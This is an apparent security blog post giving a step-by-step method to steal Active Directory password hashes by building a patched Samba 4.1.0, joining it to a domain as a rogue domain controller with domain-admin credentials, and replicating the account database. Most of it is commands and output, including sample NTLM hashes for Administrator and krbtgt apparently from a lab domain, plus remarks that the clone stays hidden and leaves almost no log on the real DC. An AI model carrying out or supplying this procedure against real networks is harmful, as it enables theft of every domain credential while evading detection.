So there was this blog post that talking about a number of ways to dump windows credentials by @lanjelot [definitly someone to follow] - here: https://www.securusglobal.com/community/2013/12/20/dumping-windows-credentials/ and at the very bottom of this post it says “AD Replication (EXPERIMENTAL)”
What it boils down to is if you can position a system that can do DNS resolution to the target domain, and perform some other UDP traffic, you can fake join a samba server you control to a domain and it doesn’t require code execution in any way on the domain controller.
Notice: I am not doing this on a Kali Linux box, there is already an install of Samba there and I didn’t want to try uninstalling or modifying the one installed.
First, you need this patch:
wget http://files.securusglobal.com/samba-4.1.0_replication-only-patch.txt
and Samba 4.1.0
wget http://ftp.samba.org/pub/samba/stable/samba-4.1.0.tar.gz
You will probably also require some dependencies to be installed:
apt-get install python2.7-dev python-samba libacl1-dev build-essential libldap2-dev libkrb5-dev attr
Since the patch is kinda wonky, you need to make a src directory and extract samba into there first. Then apply the patch in whatever directory is above src
1
2
3
4
5
|
mkdir src
mv samba-4.1.0.tar.gz src/
cd src/
tar zxvf samba-4.1.0.tar.gz
cd /root/
|
So it would look like this:
1
2
3
|
samba-4.1.0_replication-only-patch.txt
src/
src/samba-4.1.0/
|
then run patch -p0 < samba-4.1.0_replication-only-patch.txt
1
2
3
4
|
cd ./src/samba-4.1.0/
./configure
make
make install
|
Prepare the box:
1
|
rm -rf /var/lib/samba; mkdir /var/lib/samba; rm -f /etc/samba/smb.conf
|
Next you need to make sure you are resolving correctly (if you can’t resolve the SRV record _ldap._tcp.sittingduck.info (sittingduck.info being the domain) then this isn’t going to work.
1
|
echo nameserver 192.168.92.37 > /etc/resolv.conf # this is the IP address of the DC
|
Then start the clone:
1
|
/usr/local/samba/bin/samba-tool domain join sittingduck.info DC -U sittingduck\\administrator
|
Looks like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
root@sambabox:~/src/samba-4.1.0# /usr/local/samba/bin/samba-tool domain join sittingduck.info DC -U sittingduck\\administrator
Finding a writeable DC for domain 'sittingduck.info'
Found DC 2K8DC.sittingduck.info
Password for [SITTINGDUCK\administrator]:
workgroup is SITTINGDUCK
realm is sittingduck.info
Calling bare provision
No IPv6 address will be assigned
Provision OK for domain DN DC=sittingduck,DC=info
Starting replication
Schema-DN[CN=Schema,CN=Configuration,DC=sittingduck,DC=info] objects[402] linked_values[0]
Schema-DN[CN=Schema,CN=Configuration,DC=sittingduck,DC=info] objects[804] linked_values[0]
Schema-DN[CN=Schema,CN=Configuration,DC=sittingduck,DC=info] objects[1206] linked_values[0]
Schema-DN[CN=Schema,CN=Configuration,DC=sittingduck,DC=info] objects[1521] linked_values[0]
Analyze and apply schema objects
Partition[CN=Configuration,DC=sittingduck,DC=info] objects[402] linked_values[0]
Partition[CN=Configuration,DC=sittingduck,DC=info] objects[804] linked_values[0]
Partition[CN=Configuration,DC=sittingduck,DC=info] objects[1206] linked_values[0]
Partition[CN=Configuration,DC=sittingduck,DC=info] objects[1608] linked_values[1]
Partition[CN=Configuration,DC=sittingduck,DC=info] objects[1614] linked_values[11]
Replicating critical objects from the base DN of the domain
Partition[DC=sittingduck,DC=info] objects[100] linked_values[24]
Partition[DC=sittingduck,DC=info] objects[353] linked_values[27]
Done with always replicated NC (base, config, schema)
Committing SAM database
descriptor_sd_propagation_recursive: DC=DomainDnsZones,DC=sittingduck,DC=info not found under DC=sittingduck,DC=info
descriptor_sd_propagation_recursive: DC=ForestDnsZones,DC=sittingduck,DC=info not found under DC=sittingduck,DC=info
Joined domain SITTINGDUCK (SID S-1-5-21-3147519476-3247671789-820278723) as a DC
|
Then to get the hashes:
1
2
3
4
5
6
7
|
root@sambabox:~# /usr/local/samba/bin/pdbedit -L -w
2K8DC$:4294967295:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:CB14F1166BBE1749AC0FB40240C5DC30:[S ]:LCT-530FC425:
Administrator:4294967295:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:88E4D9FABAECF3DEC18DD80905521B29:[U ]:LCT-531006A4:
krbtgt:4294967295:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:F2EE6AB6F40810169E0E46B126CEFBEF:[DU ]:LCT-530FC3FF:
nobody:65534:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:[U ]:LCT-00000000:
jdoe:4294967295:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:88E4D9FABAECF3DEC18DD80905521B29:[UX ]:LCT-530FC5FF:
uber:4294967295:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:88E4D9FABAECF3DEC18DD80905521B29:[UX ]:LCT-53101261:
|
Or you can do it with history:
1
2
3
4
5
6
7
8
9
|
root@sambabox:~# python samba-pwdump.py /usr/local/samba/private/sam.ldb.d/DC\=SITTINGDUCK\,DC\=INFO.ldb -history
SAMBACLONE$:1104:::::
2K8DC$:1000::cb14f1166bbe1749ac0fb40240c5dc30:::
Administrator:500::88e4d9fabaecf3dec18dd80905521b29:::
krbtgt:502::f2ee6ab6f40810169e0e46b126cefbef:::
Guest:501:::::
jdoe:1103::88e4d9fabaecf3dec18dd80905521b29:::
uber:1105::88e4d9fabaecf3dec18dd80905521b29:::
uber_history0:1105:444d1edcad01ae08f49f073e12e8cc14:88e4d9fabaecf3dec18dd80905521b29:::
|
Game over. The great thing is that it never actually shows up as a joined box in the domain, and as far as I can tell the only log on the real DC is the login success of a domain admin. Plus one of the huge benefits to this method is that once you have the database Samba makes it really easy to query information like group membership or users info after the fact, not just hashes.